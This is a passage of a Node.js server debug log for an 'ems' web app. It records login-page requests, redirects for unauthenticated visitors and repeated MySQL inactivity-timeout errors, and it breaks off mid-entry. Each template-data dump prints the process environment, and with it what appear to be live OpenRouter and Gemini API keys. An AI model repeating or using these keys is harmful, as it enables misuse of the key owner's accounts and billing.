    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Mobile/15E148 Safari/602.4.8',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:02.678Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Mobile/15E148 Safari/602.4.8',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:22:02.783Z server-connect:router Serving templateView /
2026-02-24T21:22:02.783Z server-connect:app Executing action step identify
2026-02-24T21:22:02.784Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:02.784Z server-connect:auth No login cookie found
2026-02-24T21:22:02.784Z server-connect:output identity: false
2026-02-24T21:22:02.784Z server-connect:app Executing action step restrict
2026-02-24T21:22:02.784Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:22:02.784Z server-connect:output restrict: undefined
2026-02-24T21:22:02.920Z server-connect:router Serving templateView /login
2026-02-24T21:22:02.921Z server-connect:app Executing action step identify
2026-02-24T21:22:02.921Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:02.921Z server-connect:auth No login cookie found
2026-02-24T21:22:02.921Z server-connect:output identity: false
2026-02-24T21:22:02.921Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:02.922Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Mobile/15E148 Safari/602.4.8',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'content-type': 'application/x-www-form-urlencoded',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/login',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:02.920Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: 'application/x-www-form-urlencoded',
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Mobile/15E148 Safari/602.4.8',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_CONTENT_TYPE: 'application/x-www-form-urlencoded',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/login',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:22:03.004Z server-connect:router Serving templateView /login
2026-02-24T21:22:03.005Z server-connect:app Executing action step identify
2026-02-24T21:22:03.005Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:03.005Z server-connect:auth No login cookie found
2026-02-24T21:22:03.005Z server-connect:output identity: false
2026-02-24T21:22:03.005Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:03.005Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:03.004Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:22:16.134Z server-connect:router Serving templateView /
2026-02-24T21:22:16.135Z server-connect:app Executing action step identify
2026-02-24T21:22:16.135Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:16.135Z server-connect:auth No login cookie found
2026-02-24T21:22:16.135Z server-connect:output identity: false
2026-02-24T21:22:16.135Z server-connect:app Executing action step restrict
2026-02-24T21:22:16.135Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:22:16.135Z server-connect:output restrict: undefined
2026-02-24T21:22:16.353Z server-connect:router Serving templateView /login
2026-02-24T21:22:16.354Z server-connect:app Executing action step identify
2026-02-24T21:22:16.354Z server-connect:app options: { provider: 'security' }
2026-02-24T21:22:16.354Z server-connect:auth No login cookie found
2026-02-24T21:22:16.354Z server-connect:output identity: false
2026-02-24T21:22:16.354Z server-connect:router Render template layouts/authentication
2026-02-24T21:22:16.354Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) CriOS/115.0.5790.79 Mobile/15E148 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:22:16.353Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) CriOS/115.0.5790.79 Mobile/15E148 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-24 21:26:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-24 21:26:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 04:27:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 04:27:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 04:30:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 04:30:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 04:56:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 04:56:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 05:43:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 05:43:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 08:19:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 08:19:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-25 10:46:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-25 10:46:18' as DATETIME)"
}
2026-02-25T11:12:58.551Z server-connect:router Serving templateView /
2026-02-25T11:12:58.552Z server-connect:app Executing action step identify
2026-02-25T11:12:58.552Z server-connect:app options: { provider: 'security' }
2026-02-25T11:12:58.553Z server-connect:output identity: 1
2026-02-25T11:12:58.553Z server-connect:app Executing action step restrict
2026-02-25T11:12:58.553Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T11:12:58.555Z server-connect:output restrict: undefined
2026-02-25T11:12:58.555Z server-connect:app Executing action step restrict
2026-02-25T11:12:58.555Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T11:12:58.555Z server-connect:output restrict: undefined
2026-02-25T11:12:58.555Z server-connect:router Render template layouts/main
2026-02-25T11:12:58.555Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
